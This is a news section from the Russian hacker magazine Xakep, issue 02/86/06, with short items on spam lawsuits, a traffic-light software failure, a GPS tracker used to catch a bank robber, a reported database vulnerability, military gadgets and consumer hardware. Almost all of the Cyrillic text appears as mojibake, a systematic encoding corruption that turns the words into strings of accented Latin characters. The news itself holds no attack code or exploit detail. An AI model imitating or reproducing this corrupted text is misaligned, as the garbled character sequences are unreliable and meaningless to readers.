ÄÎÁÐÎÂÎËÜÍÀß ÊÎÌÏÅÍÑÀÖÈß Ñóäû íàä ñïàìåðàìè ñåé÷àñ ïðîõîäÿò ïîñòîÿííî ïî âñåìó ìèðó. Íî ñëó÷àè, êîãäà ñïàìåð ïðèçíàåò ñâîþ âèíó è ñ ãîòîâíîñòüþ ñîãëàøàåòñÿ âûïëàòèòü êîìïåíñàöèþ æåðòâå, — ñêîðåå èñêëþ÷åíèå.  Âåëèêîáðèòàíèè íåäàâíî ïðîèçîøëî òàêîå ìèðîâîå ñîãëàøåíèå. Ôèðìà Media Logistics UK ïîëó÷èëà èñê â ñóä îò áðèòàíöà Íàéäæåëà Ðîáåðòñà, êîòîðîìó îíà ðåãóëÿðíî îòïðàâëÿëà ðåêëàìíûå ñîîáùåíèÿ. Íàéäæåë íå ñîáèðàëñÿ âòÿãèâàòüñÿ â äîëãèå è ñëîæíûå ðàçáèðàòåëüñòâà, ïîýòîìó â êà÷åñòâå âûïëàòû ïîòðåáîâàë âñåãî 300 ôóíòîâ. Media Logistics òîæå íå õîòåëà äîâîäèòü äåëî äî ñóäà è ñîãëàñèëàñü îòäàòü ýòó ñóììó âî âíåñóäåáíîì ïîðÿäêå. Ïîñëå ïðîâåðíóòîé ñäåëêè âñå ñòîðîíû îñòàëèñü äîâîëüíû. Áðèòàíåö çàðàáîòàë ñåáå íà ïèâî, à ML îòäåëàëàñü ëåãêèì èñïóãîì.

XÀÊÅÐ 02 /86/ 06


][NEWS

HARDNEWS

HITECHNEWS

ÑÂÅÒÎÔÎÐÍÀß ÎÊÀÇÈß

HI-TECH ÍÀ ÑËÓÆÁÅ ÏÐÀÂÎÏÎÐßÄÊÀ

Ïîìíèøü, êàê â ôèëüìå «Õàêåðû» ÷óâàêè õàêíóëè ñâåòîôîðû, ÷òîáû ñîçäàòü ïðîáêó è áåçîïàñíî äîáðàòüñÿ äî óñëîâëåííîãî ìåñòà? Îêàçûâàåòñÿ, òàêîå áûâàåò íå òîëüêî â ôèëüìàõ. Îêàçèÿ ïðîèçîøëà â èçðàèëüñêîì ãîðîäå Òåëü-Àâèâ, õîòÿ õàêåðû òóò íè ïðè ÷åì.  îäíîì èç ñâåòîôîðîâ äàëà ñáîé ïðîãðàììà, óïðàâëÿþùàÿ ïåðåêëþ÷åíèåì ñèãíàëîâ — âìåñòî ïîëîæåííûõ 90 ñåêóíä ïðîäîëæèòåëüíîñòü çåëåíîãî ñâåòà ñîñòàâèëà áîëüøå 10 ìèíóò.  ðåçóëüòàòå íà âûåçäå èç ãîðîäà îðãàíèçîâàëàñü ìíîãîêèëîìåòðîâàÿ ïðîáêà èç äåñÿòêîâ òûñÿ÷ ìàøèí, êîòîðûå çàïîëíèëè êðóïíûå àâòîìàãèñòðàëè. Äâèæåíèå òðàíñïîðòà áûëî òàêæå ïàðàëèçîâàíî âî âñåõ áëèçëåæàùèõ íàñåëåííûõ ïóíêòàõ. Äëÿ óñòðàíåíèÿ íåïîëàäêè Òåëü-Àâèâñêèé äåïàðòàìåíò óïðàâëåíèÿ äîðîæíûì òðàôèêîì âûçâàë ïðåäñòàâèòåëåé êîíòîðû, êîòîðàÿ ïîñòàâëÿëà ÏÎ äëÿ ñâåòîôîðîâ. Ïðîáëåìà áûëà ðåøåíà ñïóñòÿ íåñêîëüêî ÷àñîâ.

Âûñîêîòåõíîëîãè÷íûå ïðèìî÷êè â ïîñëåäíåå âðåìÿ âñå ÷àùå è ÷àùå ïîðòÿò æèçíü íåâåçó÷èì ãðàáèòåëÿì, òàê êàê äåòåêòîðû äâèæåíèÿ è ñêðûòûå âèäåîêàìåðû ìîìåíòàëüíî îïîâåùàþò ïîëèöèþ î âòîðæåíèè, àâòîìîáèëè ñî âñòðîåííûì ìîäóëåì GPS ñ òî÷íîñòüþ äî íåñêîëüêèõ ìåòðîâ âûäàþò ìåñòîíàõîæäåíèå ïîõèòèòåëÿ. Íåäàâíî î÷åðåäíîé âîððåöèäèâèñò, ïî èìåíè Thomas R. Fricks, âîðâàëñÿ â îäíî èç îòäåëåíèé áàíêà Washington Trust Bank, ïî-ãîëëèâóäñêè óëîæèë âñåõ íà ïîë è, óãðîæàÿ îðóæèåì, ïîòðåáîâàë ó êàññèðà äîâåðõó íàïîëíèòü ìåøîê äåíüãàìè. Íà ïåðâûé âçãëÿä îãðàáëåíèå ïðîøëî áåçóïðå÷íî, íî âñåãî íåñêîëüêî ÷àñîâ ñïóñòÿ èçóìëåííûé ãðàáèòåëü óæå ëåæàë íà çåìëå, çàêîâàííûé â íàðó÷íèêè. Êàê îêàçàëàñü, ïîêà âî âðåìÿ îãðàáëåíèÿ ñîòðóäíèêè áàíêà íàáèâàëè ìåøîê ñòîïêàìè áàíêíîò, â ìîìåíò, êîãäà ãðàáèòåëü íåìíîãî îòâëåêñÿ, çàîäíî ïîäñóíóëè åìó â ìåøîê è íåáîëüøîé GPS-ïåðåäàò÷èê. Ïîñëå ýòîãî çàäåðæàíèå îêàçàëîñü äëÿ ñòðàæåé ïðàâîïîðÿäêà èñêëþ÷èòåëüíî äåëîì òåõíèêè.

ÑÎÒÐÓÄÍÈÊÈ ÑÏÅÖÑËÓÆÁ ÏÎÄ ÊÎËÏÀÊÎÌ

FIRST PERSONAL SHOOTER

Õîðîøèé íîâîãîäíèé ïîäàðîê ñäåëàëà ñïåöñëóæáàì àìåðèêàíñêàÿ êîìïàíèÿ Guidance Software, êîòîðàÿ ñïåöèàëèçèðóåòñÿ íà îáåñïå÷åíèè èíôîðìàöèîííîé áåçîïàñíîñòè ïðàâèòåëüñòâåííûõ ñòðóêòóð ÑØÀ. Îêàçàëîñü, ÷òî â áàçå äàííûõ, ãäå õðàíèòñÿ èíôà î ïî÷òè 4 òûñÿ÷àõ àãåíòàõ ÀÍÁ, ÔÁÐ, ÖÐÓ, ñóùåñòâóåò óÿçâèìîñòü, è ëþáîé þçåð â Èíòåðíåòå ìîæåò âîñïîëüçîâàòüñÿ åé, ÷òîáû óçíàòü èìåíà, àäðåñà è íîìåðà êðåäèòíûõ êàðò àìåðèêàíñêèõ «Äæåéìñîâ Áîíäîâ». Êîíå÷íî, êëèåíòû GS âîçìóòèëèñü. Òàê êàê îíè ñ÷èòàëè, ÷òî ñèñòåìà áåçóêîðèçíåííà, è ïðîíèêíóòü â íåå íåâîçìîæíî. Êîìïàíèÿ ïîîáåùàëà óñòðàíèòü áàã â êðàò÷àéøèå ñðîêè, íî, ìîæåò, â áàçå äàííûõ óæå óñïåë ïîêîïàòüñÿ êàêîé-òî îñîáî ïðîíûðëèâûé õàêåð?

Êîìïàíèÿ Starnex, ñïåöèàëèçèðóþùàÿñÿ íà ñèñòåìàõ âèäåîíàáëþäåíèÿ, àíîíñèðîâàëà âåñüìà ëþáîïûòíîå óñòðîéñòâî ïîä íàçâàíèåì Self Guard SG-310, ðàçðàáîòàííîå ñïåöèàëüíî äëÿ àðìèè. Äåâàéñ, ñëåãêà ïðè÷óäëèâîé ôîðìû, äîëæåí êðåïèòüñÿ íà âèíòîâêó è íåïðåðûâíî òðàíñëèðîâàòü èçîáðàæåíèå ñî âñòðîåííîé âèäåîêàìåðû. Çà÷åì âñå ýòî? ×òîáû áîëåå òîëêîâûé êîìàíäèð, íà àíàëîãè÷íîå óñòðîéñòâî êîòîðîãî è áóäåò ïåðåäàâàòüñÿ âèäåî, ìîã ñëåäèòü çà äåéñòâèÿìè ñâîèõ áîéöîâ è äàâàòü èì ïî õîäó öåííûå óêàçàíèÿ î òîì, êàê ïîñòóïèòü â òîé èëè èíîé ñëîæíîé áîåâîé ñèòóàöèè. Âïðî÷åì, è êîìàíäèðó íå óäàñòñÿ îòñèæèâàòüñÿ íà ìÿãêîì êðåñëå â êîìàíäíîì ïóíêòå, íàõîäÿùåìñÿ çà íåñêîëüêî êèëîìåòðîâ îò ïîëÿ áîÿ, âåäü âèäåî áóäåò òðàíñëèðîâàòü ïðè ïîìîùè Bluetooth, à ñ íèì áîëåå ÷åì íà 100 ìåòðîâ îòîéòè íèêàê íå ïîëó÷èòñÿ.

SONY ÏÐÎÄÎËÆÀÅÒ ØÀÃÀÒÜ Íàâåðíîå, ó êàæäîé êîìïàíèè åñòü íåêàÿ ñåðèÿ óñòðîéñòâ, íàçâàíèå êîòîðîé, â ñèëó êà÷åñòâà è ïîïóëÿðíîñòè èçäåëèé, èçâåñòíî î÷åíü øèðîêîìó êðóãó ëþäåé, äàæå òåì, êîòîðûå äàëåêè îò ñïåöèôèêè ýòèõ èçäåëèé. Ó êîìïàíèè Sony ýòî, íåñîìíåííî, ïëååðû WALKMAN, èìÿ, êîòîðîå èíîãäà óïîòðåáëÿåòñÿ êàê íàðèöàòåëüíîå. Òåïåðü åñòü íîâûé WALKMAN, îáëàäàþùèé óíèêàëüíûì äèçàéíîì.  åãî îñíîâå ìîæåò áûòü æåñòêèé äèñê îáúåìîì 6 èëè 20 Ãá, à ýêðàí ðàçìåðîì 1,5 èëè 2 äþéìà (â çàâèñèìîñòè îò ìîäåëè) îòîáðàæàåò óäîáíîå ïîëüçîâàòåëüñêîå ìåíþ, â êîòîðîì ïðèñóòñòâóåò ìàññà ôóíêöèé, èõ íàâåðíÿêà îöåíÿò òå, êòî íå ìîæåò æèòü áåç ìóçûêè. Ýòî, ïîìèìî âñåãî ïðî÷åãî, ìíîãîôóíêöèîíàëüíûé ïîèñê ïåñåí ïî ðàçëè÷íûì ïàðàìåòðàì. Óñòðîéñòâî ðàáîòàåò ñ äâóìÿ ôîðìàòàìè ôàéëîâ – MP3 è

008

ATRAC3plus (ôèðìåííûé ôîðìàò Sony). Ïîääåðæèâàåòñÿ ðàáîòà ñ ïðîãðàììîé CONNNECT Player – îáíîâëåíèå êîäåêîâ è firmware ÷åðåç Èíòåðíåò, à òàêæå ðàáîòà ñ îäíîèìåííîé ïëàòíîé ñëóæáîé ñêà÷èâàíèÿ òðåêîâ.  ïðîäàæå èìåþòñÿ ìîäåëè ðàçíûõ ðàñöâåòîê, à òàêæå ìàññà àêñåññóàðîâ äëÿ ïëååðà: ïóëüò ÄÓ, äîê-ñòàíöèÿ è ïðî÷åå.

XÀÊÅÐ 02 /86/ 06


HITECHNEWS

HARDNEWS

HARDNEWS

ÃÎÂÎÐßÙÀß ÌÛØÜ

SAMSUNG È NAPA

Ïîñëåäíèé ãîä îäíîçíà÷íî ìîæíî ñ÷èòàòü ïåðèîäîì ðàñöâåòà èíòåðíåò-òåëåôîíèè. Ôåíîìåíàëüíàÿ ïîïóëÿðíîñòü òàêèõ ïðîãðàìì, êàê Skype, âûíóäèëè ïðîèçâîäèòåëåé èñêàòü ñïîñîáû ïðèñïîñàáëèâàòü òåëåôîí ê êîìïüþòåðó, äà åùå ñ êàêèì-ëèáî êîìáèíèðîâàííûì äåâàéñîì. Åñòåñòâåííî, ïîä ïðèöåë ïîïàëà ìûøêà, òàê êàê ïðèñëîíÿòü êëàâèàòóðó èëè ìîíèòîð ê óõó — ñîâñåì ãëóïî. Äåñÿòêè ïðîèçâîäèòåëåé, â òîì ÷èñëå è Sony, ïðåäñòàâèëè ñâîè ïðèñïîñîáëåíèÿ, â îñíîâíîì îòëè÷àþùèåñÿ ðåäêîñòíîé óáîãîñòüþ, è åäèíñòâåííàÿ êîìïàíèÿ, êîòîðàÿ ñìîãëà âûïóñòèòü äîñòîéíîå óñòðîéñòâî, îêàçàëàñü ìàëîèçâåñòíàÿ òàéâàíüñêàÿ ôèðìà Sysgration. Äåâàéñ íå òîëüêî, â îòëè÷èå îò êîíêóðåíòîâ, âíåøíå íàïîìèíàåò íîðìàëüíûé ìàíèïóëÿòîð òèïà «ìûøü», íî è âíóòðè îêàçûâàåòñÿ íåïëîõèì VoIP-òåëåôîíîì. Ïîä îòêèäûâàþùåéñÿ âíåøíåé êðûøêîé êðîåòñÿ ïîëíîöåííûé ÆÊ-äèñïëåé è ñòàíäàðòíàÿ äëÿ ñîòîâîãî êëàâèàòóðà. Ïðè ýòîì äàííîå óñòðîéñòâî åùå è áåñïðîâîäíîå, ÷åì îêîí÷àòåëüíî óäåëûâàåò îñòàâøèõñÿ êîíêóðåíòîâ. Ïîêà äåâàéñ íå äîáðàëñÿ åùå äî ïîëîê ìàãàçèíîâ, è ïðîèçâîäèòåëè íå îïðåäåëèëèñü ñ åãî ñòîèìîñòüþ, îäíàêî â óñïåõå ñâîåé ðàçðàáîòêè íå ñîìíåâàþòñÿ è íàäåþòñÿ â ýòîì ãîäó íåïëîõî íà íåé çàðàáîòàòü.

Êîìïàíèÿ Intel ïðîäîëæàåò ðàçâèâàòü ñâîþ ìîáèëüíóþ ïëàòôîðìó Centrino è åå ïîñëåäíÿÿ âåðñèÿ íàçûâàåòñÿ Core Duo. Ïðîèçâîäèòåëè íîóòáóêîâ, åñòåñòâåííî, íå ìîãóò îñòàâèòü òàêîå ñîáûòèå áåç âíèìàíèÿ, è âîò Samsung îáíàðîäîâàë èíôîðìàöèþ î òåõ ìîäåëÿõ, êîòîðûå ïîÿâÿòñÿ â ìàðòå, è áóäóò èñïîëüçîâàòü íîâóþ òåõíîëîãèþ. Íàçâàíèÿ ìîäåëåé: X60, R65, P50, P60. Âñå îíè áóäóò îáëàäàòü äâóÿäåðíûì ïðîöåññîðîì, íàáîðîì ìèêðîñõåì Ittel 945 Express è àäàïòåðîì Wi-Fi. Êðîìå òîãî, âñÿ ÷åòâåðêà áóäåò èìåòü áåñïðîâîäíûé èíòåðôåéñ Bluetooth 2.0+EDR. Íîóòáóê X60 ñ 15,4-äþéìîâûì øèðîêîôîðìàòíûì äèñïëååì èìååò âëàãîçàùèùåííóþ êëàâèàòóðó, ãèãàáèòíûé ñåòåâîé àäàïòåð è óíèâåðñàëüíûé îïòè÷åñêèé ïðèâîä. Ìîäåëü R65, ïîìèìî ïðî÷åãî ôóíêöèîíàëà, ìîæåò ïîõâàñòàòüñÿ ìîùíîé âèäåîïëàòîé nVidia GeForce Go 7400. Åùå îáå ýòè ìîäåëè èìåþò âîñüìèêàíàëüíûé çâóêîâîé êîäåê. Áèçíåñ-ñåãìåíò ïðåäñòàâëåí ìîäåëÿìè P50 è P60, èìåþùèìè ñîîòíîøåíèå ñòîðîí ýêðàíà 4:3 è 16:10. Æäåì âåñíû è ýòè ÏÊ.

MAXTOR ÊÓÏËÅÍ ÊÎÌÏÀÍÈÅÉ SEAGATE

Êîëè÷åñòâî èãðîêîâ, ïî êðàéíåé ìåðå êðóïíûõ, ðåàëüíî âëèÿþùèõ íà ñîñòîÿíèå äåë, íà ðûíêå æåñòêèõ äèñêîâ ñåãîäíÿ íåâåëèêî. À íåäàâíî îíî ñòàëî åùå ìåíüøå, òàê êàê êîìïàíèÿ Seagate, èçâåñòíàÿ ñâîèìè âèí÷åñòåðàìè ñåðèè Barracuda, ïðîÿâèëà âïîëíå äîñòîéíûé áàððàêóäû àïïåòèò è êóïèëà íå ìåíåå èçâåñòíóþ êîìïàíèþ Maxtor. Êîíå÷íî, åñëè òû íå ÿâëÿåøüñÿ àêöèîíåðîì îäíîé èç äâóõ ýòèõ ôèðì, òî òåáÿ íàïðÿìóþ ýòî íå çàòðîíåò, íî è ðÿäîâîìó ïîëüçîâàòåëþ íå ïîìåøàåò çíàòü êîå-êàêóþ èíôîðìàöèþ. Íàïðèìåð, Seagate îáåùàåò â ñàìîì ñêîðîì âðåìåíè âûïóñòèòü áîëåå òåõíîëîãè÷åñêè ïðîäâèíóòûå íàêîïèòåëè è âîîáùå íà÷àòü íîâûé âèòîê ñâîåãî ñóùåñòâîâàíèÿ. Íàäååìñÿ, ÷òî ýòî áóäóò äîñòóïíûå è êà÷åñòâåííûå æåñòêèå äèñêè.

010

ÊÐÓÃËÎÑÓÒÎ×ÍÛÉ ÐÎÁÎÒ

×åì õîðîøè ðîáîòû? Îíè, íàïðèìåð, ñïîñîáíû ðàáîòàòü â ñàìûõ ýêñòðåìàëüíûõ óñëîâèÿõ: õîòü â äâóõ ìåòðàõ îò ÿäåðíîãî ðåàêòîðà, õîòü â íî÷íóþ ñìåíó â êðóãëîñóòî÷íîì ìàãàçèíå ñ âå÷íî ïüÿíûìè ïîêóïàòåëÿìè. Êàê ðàç êîìïàíèÿ Shop24 ðåøèëà ïðèñïîñîáèòü ðîáîòîâ äëÿ âòîðîé çàäà÷è, îòêðûâ ïî âñåìó ìèðó öåëóþ ñåòü ïîëíîñòüþ àâòîìàòèçèðîâàííûõ êðóãëîñóòî÷íûõ êèîñêîâ. Ïðè÷åì ýòî âàì íå æàëêèå àâòîìàòû ñ ïåïñè-êîëîé, à ïîëíîöåííûå ìàãàçèíû ñ øèðîêèì àññîðòèìåíòîì òîâàðà.  ëþáîå âðåìÿ äíÿ è íî÷è ïðåäëàãàåòñÿ ïîðÿäêà äâóõ ñîòåí íàèìåíîâàíèé òîâàðà, â òîì ÷èñëå ìîëîêî, ñîäà, áàòàðåéêè, íåêîòîðûå ëåêàðñòâà. Ê îïëàòå ïðèíèìàþòñÿ êàê íàëè÷íûå, òàê è êðåäèòíûå êàðòî÷êè. Ïîñëå âûáîðà íóæíîãî òîâàðà è îïëàòû ìåõàíèçèðîâàííàÿ ðóêà ïðîòÿíåòñÿ äî íóæíîé óïàêîâêè, ñõâàòèò åå è âûïëþíåò â ëîòîê äëÿ âûäà÷è. Ïîìèìî ôèðìåííûõ ìàãàçèíîâ Shop24, ïîäîáíûìè àâòîìàòàìè ðåøèëè îáçàâåñòèñü è êðóïíûå ñåòè ñóïåðìàðêåòîâ, íàïðèìåð BILLA. XÀÊÅÐ 02 /86/ 06


HITECHNEWS

HITECHNEWS

ÂÈÐÒÓÀËÜÍÛÉ ÑÊÀÍÅÐ

ÄÂÓÃËÀÇÛÉ

Ïî àäðåñó www.scanr.com íåäàâíî áûë çàïóùåí ñîâåðøåííî óíèêàëüíûé ñåðâèñ äëÿ ìîáèëüíûõ òåëåôîíîâ è ÊÏÊ, îáîðóäîâàííûõ êàìåðîé. Åñëè ñôîòîãðàôèðîâàòü ëþáîé äîêóìåíò èëè íàäïèñü è îòïðàâèòü êàðòèíêó ÷åðåç MMS èëè e-mail íà óêàçàííûé àäðåñ, òî íåñêîëüêî ìèíóò ñïóñòÿ òû ïîëó÷èøü îáðàòíî ðàñïîçíàííûé è î÷èùåííûé òåêñò ñ êàðòèíêàìè, ëþáåçíî çàïàêîâàííûìè â PDF-ôàéë. Òî÷íî òàê æå ìîæíî çàêàçàòü îòïðàâêó äîêóìåíòà ïî ôàêñó èëè ïî ìûëó íà ëþáîé çàäàííûé àäðåñ. Òàê êàê âñòðîåííûå êàìåðû îáû÷íî íå îòëè÷àþòñÿ õîðîøèì êà÷åñòâîì, òî ñ äàííûì ñåðâèñîì ñîâìåñòèìû êàìåðû ñ ðàçðåøàþùåé ñïîñîáíîñòüþ íå ìåíåå îäíîãî ìåãàïèêñåëÿ. Ïðàêòè÷åñêèõ ïðèìåíåíèé äëÿ ïîäîáíîé óñëóãè ìîæíî ïðèäóìàòü âàãîí è ìàëåíüêóþ òåëåæêó, âîò òîëüêî êîíôèäåíöèàëüíîñòü ïåðåäàâàåìîé èíôîðìàöèè îñòàåòñÿ ïîä áîëüøèì âîïðîñîì. Âïðî÷åì, ñåðâèñ ïîêà ðàáîòàåò ëèøü â áåñïëàòíîì òåñòîâîì ðåæèìå, è âîñïîëüçîâàòüñÿ èì ìîæíî òîëüêî íà òåððèòîðèè ÑØÀ.

ÍÀÑÒÎËÜÍÀß ÂÈÐÒÓÀËÜÍÎÑÒÜ Åñëè ïîñìîòðåòü ñî ñòîðîíû íà ñîâðåìåííûé ìíîãîìèëëèàðäíûé ðûíîê âèðòóàëüíûõ èãð, òî ìîæåò ñëîæèòüñÿ âïå÷àòëåíèå, ÷òî îðèãèíàëüíûå èäåè çàêîí÷èëèñü ó ðàçðàáîò÷èêîâ åùå íåñêîëüêî ëåò íàçàä. Ê ñ÷àñòüþ, ýòî äàëåêî íå òàê. Íàïðèìåð, íà ïðîøåäøåé â íà÷àëå ýòîãî ãîäà êðóïíåéøåé âûñòàâêå ïîòðåáèòåëüñêîé ýëåêòðîíèêè CES (Consumer Electronics Show) êîìïàíèÿ Philips ïîðàäîâàëà âñåõ ëþáèòåëåé íàñòîëüíûõ èãð ïðîòîòèïîì ïðèíöèïèàëüíî íîâîé èãðîâîé ïëàòôîðìû. Óñòðîéñòâî, íàçâàííîå Entertaible, ïðåäñòàâëÿåò ñîáîé 30äþéìîâóþ ãîðèçîíòàëüíóþ ÆÊ-ïàíåëü ñ ÷óâñòâèòåëüíûì ýêðàíîì. Îñíîâíîå ïðåäíàçíà÷åíèå íîâèíêè — êîíå÷íî æå, íàñòîëüíûå èãðû. Ðàçðàáîò÷èêè ðàññ÷èòûâàþò, ÷òî íà ñîçäàííîé ïëàòôîðìå ïîÿâèòñÿ íå òîëüêî ìíîæåñòâî ñîâåðøåííî íîâûõ èãð, íî è áîëüøèíñòâî ñòàðûõ, òàêèõ êàê «ìîíîïîëèÿ», îáðåòóò ñâîå âòîðîå äûõàíèå. Êñòàòè, ïîäîáíûå èäåè óæå íå íîâû, îäíàêî âî âñåõ ïðåäûäóùèõ ðåàëèçàöèÿõ îò äðóãèõ êîìïàíèé áûëè íåñîìíåííûå íåäîñòàòêè: îãðîìíûå ðàçìåðû, òðåáîâàíèå ñïåöèàëüíîãî îñâåùåíèÿ, íàëè÷èå âíåøíèõ êàìåð è ò.ä. Êñòàòè, Entertaible íå òîëüêî ëèøåí âñåõ ýòèõ íåäîñòàòêîâ, íî è íàäåëåí ìàññîé ñîáñòâåííûõ ïðåèìóùåñòâ, íàïðèìåð, ñïîñîáåí îäíîâðåìåííî îòñëåæèâàòü ìåñòîïîëîæåíèå êàê ìíîæåñòâà ôèøåê, òàê è ïàëüöåâ èãðîêîâ. Ñåêðåò äåâàéñà êðîåòñÿ â ãðàìîòíîì ðàñïîëîæåíèè ìàññèâà èíôðàêðàñíûõ ñâåòî- è ôîòîäèîäîâ ïî ïåðèìåòðó ýêðàíà. Íà ìîìåíò ïðåçåíòàöèè íà âûñòàâêå óñòðîéñòâî íàõîäèëîñü íà ñòàäèè ïîëíîôóíêöèîíàëüíîãî ïðîòîòèïà, à ïðåäñòàâèòåëè Philips óæå âîâñþ âåëè ïåðåãîâîðû ñ èçäàòåëÿìè èãð. Êñòàòè, åñëè ïåðâûé îïûò îêàæåòñÿ óäà÷íûì, òî ïî àíàëîãè÷íîé òåõíîëîãèè ïëàíèðóåòñÿ ïîñòðîèòü è äðóãèå íå òîëüêî èãðîâûå óñòðîéñòâà, êîòîðûå ìîãóò ïðèãîäèòüñÿ èíæåíåðàì, ñòóäåíòàì è ìíîãèì äðóãèì.

012

Âñòðå÷àéòå î÷åðåäíîé äåâàéñ êëàññà «ïåðâûé â ìèðå…». Èòàê, áàðàáàííàÿ äðîáü… ïåðâûé â ìèðå ôîòîàïïàðàò ñ äâóìÿ îáúåêòèâàìè! Äàííîå ÷óäî òåõíèêè àíîíñèðîâàëà êîìïàíèÿ Kodak íà âñå òîé æå âûñòàâêå CES 2006. Ñðàçó âîçíèêàåò ëîãè÷íûé âîïðîñ: íà êîé, ñîáñòâåííî, ôîòîàïïàðàòó ñäàëîñü äâà îáúåêòèâà? Åñòåñòâåííî, â òîì ÷èñëå è äëÿ ïîíòà, íî íå òîëüêî. Ïðàêòè÷åñêàÿ öåëü ó ïîäîáíîãî íîâîââåäåíèÿ òîæå èìååòñÿ. Óñòàíîâëåííûå îáúåêòèâû çàìåòíî ðàçëè÷àþòñÿ ìåæäó ñîáîé ïî õàðàêòåðèñòèêàì: îäèí èç íèõ ñ ôèêñèðîâàííûì ôîêóñíûì ðàññòîÿíèåì, à äðóãîé — ñ òðåõêðàòíûì îïòè÷åñêèì çóìîì. Ïðè ýòîì äëÿ êàæäîãî èç îáúåêòèâîâ èìååòñÿ ñîáñòâåííàÿ CCD-ìàòðèöà íà 5 ìåãàïèêñåëåé.  ðåçóëüòàòå, â îòëè÷èå îò ìîäåëåé, îáîðóäîâàííûõ îäíèì îáúåêòèâîì, ôîòîàïïàðàò íå âûíóæäåí èñêàòü êîìïðîìèññà ìåæäó êà÷åñòâåííîé ðàáîòîé â øèðîêîóãîëüíîì ðåæèìå è õîðîøèì îïòè÷åñêèì çóìîì, à ñïîñîáåí âñå ýòî ãàðìîíè÷íî ñî÷åòàòü. Ê ìîìåíòó âûõîäà ýòîãî íîìåðà ìîäåëü EasyShare V570 óæå äîëæíà áóäåò ïîñòóïèòü â ïðîäàæó ïî îðèåíòèðîâî÷íîé öåíå ïîðÿäêà 400 ó.å.

ÄÅÒÅÊÒÎÐ ËÞÄÅÉ Â óñëîâèÿõ ðåàëüíûõ áîåâûõ äåéñòâèé â ãîðîäñêèõ êâàðòàëàõ æèçíåííî âàæíî çíàòü, íàõîäèòñÿ ëè êòî-ëèáî â ïîìåùåíèè, â êîòîðîå íåîáõîäèìî âîéòè. Ðàçðàáîòêè â ýòîé îáëàñòè óæå íåñêîëüêî ëåò âåäóòñÿ àãåíòñòâîì DARPA ïðè ìèíèñòåðñòâå îáîðîíû ÑØÀ, è âîò ðåçóëüòàòû ðàáîò áûëè ðà��ñåêðå÷åíû. Ñîçäàííîå óñòðîéñòâî (Radar Scope) ñïîñîáíî íàõîäèòü ëþäåé äàæå ÷åðåç 12-äþéìîâûå áåòîííûå ñòåíû íà ðàññòîÿíèè äî 50-òè ôóòîâ. Òåððîðèñò ìîæåò áûòü îáíàðóæåí, åñëè îí õîòÿ áû äûøèò. Ðàçìåðû äåâàéñà âïîëíå ñîîòâåòñòâóþò êàðìàííûì, à ñòîèìîñòü åãî íàõîäèòñÿ â ðàéîíå îäíîãî êèëîáàêñà. Åñëè ñ òèðàæèðîâàíèåì óñòðîéñòâ íå âîçíèêíåò íèêàêèõ ïðîáëåì, òî àìåðèêàíñêèå ñîëäàòû, íàõîäÿùèåñÿ â Èðàêå, ïîëó÷àò â ñâîå ðàñïîðÿæåíèå òàêòè÷åñêîå ïðåèìóùåñòâî óæå ýòîé âåñíîé. Áóäåì íàäåÿòüñÿ, ÷òî ïðîèçâîäèòåëè äîãàäàþòñÿ ïóñòèòü àðìåéñêèå ðàçðàáîòêè è â ìèðíîå ðóñëî, íàïðèìåð, äëÿ ïîèñêà ëþäåé ïîä çàâàëàìè. XÀÊÅÐ 02 /86/ 06


HARDNEWS

HARDNEWS

CREATIVE ÄÎÏÎËÍßÅÒ X-FI

ÍÎÂÛÉ WI-FI

 ïîñëåäíåå âðåìÿ ñòàëî ìîäíî âûïóñêàòü êó÷ó àêñåññóàðîâ ê ïîïóëÿðíîìó äåâàéñó. Ñòîèò âñïîìíèòü õîòÿ áû Apple iPod, ê êîòîðîìó åñòü êó÷à êðýäëîâ, íàóøíèêîâ è ïðî÷åãî, äàæå ñïåöèàëüíàÿ îäåæäà! Íå îòñòàåò îò äðóãèõ è êîìïàíèÿ Creative, âûïóñòèâøàÿ íåñêîëüêî àêñåññóàðîâ ê ñâîåé ïîïóëÿðíîé çâóêîâîé ïëàòå X-Fi. Ïåðâûé - ýòî ìîäóëü DTS610, ïîçâîëÿþùèé ïîäêëþ÷èòü êîìïüþòåð ê äîìàøíåìó êèíîòåàòðó îäíèì öèôðîâûì êàáåëåì. Ìíîãîêàíàëüíûå àíàëîãîâûå âûõîäû 5.1 ïîäêëþ÷àþòñÿ ê ìîäóëþ DTS-610, êîòîðûé â ðåàëüíîì âðåìåíè ïðåîáðàçóåò àíàëîãîâûé ñèãíàë â ïîòîê DTS 5.1 è ïåðåäàåò ýòîò ïîòîê ïî öèôðîâîìó êàáåëþ â äîìàøíèé êèíîòåàòð. Òàêæå òåïåðü èìåþòñÿ: âîñüìèêàíàëüíûé êàáåëü äëÿ ïåðåäà÷è çâóêà ñ êà÷åñòâîì 24 áèòà/96 êÃö â ôîðìàòå 7.1 ñ êîìïüþòåðà íà äîìàøíèé êèíîòåàòð; ìîäóëü öèôðîâîãî ââîäà-âûâîäà, êîòîðûé ñíàáæàåò Sound Blaster öèôðîâûìè îïòè÷åñêèìè è êîàêñèàëüíûìè âõîäàìè è âûõîäàìè S/PDIF (ïðèãîäèòñÿ îáëàäàòåëÿì ñòóäèéíîãî îáîðóäîâàíèÿý; èìåþòñÿ ìîäóëè ñ ðàçíîé íîìåíêëàòóðîé ïîðòîâ), à òàêæå èíôðàêðàñíûé ïðèåìíèê ñ ïóëüòîì ÄÓ, ïîçâîëÿþùèé îñóùåñòâëÿòü óïðàâëåíèå, íå âñòàâàÿ ñ äèâàíà.

Äóìàþ, íèêòî íå áóäåò ñïîðèòü ñ òåì, ÷òî áåñïðîâîäíûå òåõíîëîãèè ïåðåäà÷è äàííûõ ãîðàçäî óäîáíåå ïðîâîäíûõ. Íå íàäî äóìàòü î äëèíå ïðîâîäîâ, à òàêæå î òîì, êóäà è êàê ïîëîæèòü, ÷òîáû âñå âûãëÿäåëî ýñòåòè÷íî è òàê äàëåå. Òàê ÷òî îòïàäàåò öåëûé ïëàñò ïðîáëåì. Òåõíîëîãèÿ Wi-Fi èçâåñòíà âñåì ìîáèëüíûì ïîëüçîâàòåëÿì è íå òîëüêî èì. Óæå ìàññà ëþäåé îöåíèëà êîìôîðò îò èñïîëüçîâàíèÿ ýòîãî ñïîñîáà äîñòóïà â Ñåòü.  êàôå, àýðîïîðòó è äðóãèõ ïðèñóòñòâåííûõ ìåñòàõ äîñòàòî÷íî èìåòü íîóòáóê èëè ÊÏÊ ñ ñîîòâåòñòâóþùèì àäàïòåðîì, è âñå. Ê ñîæàëåíèþ, ñêîðîñòü ïîêà îñòàâëÿåò æåëàòü ëó÷øåãî. Íî ðàçðàáîò÷èêè wireless-òåõíîëîãèé íå ñäàþòñÿ! 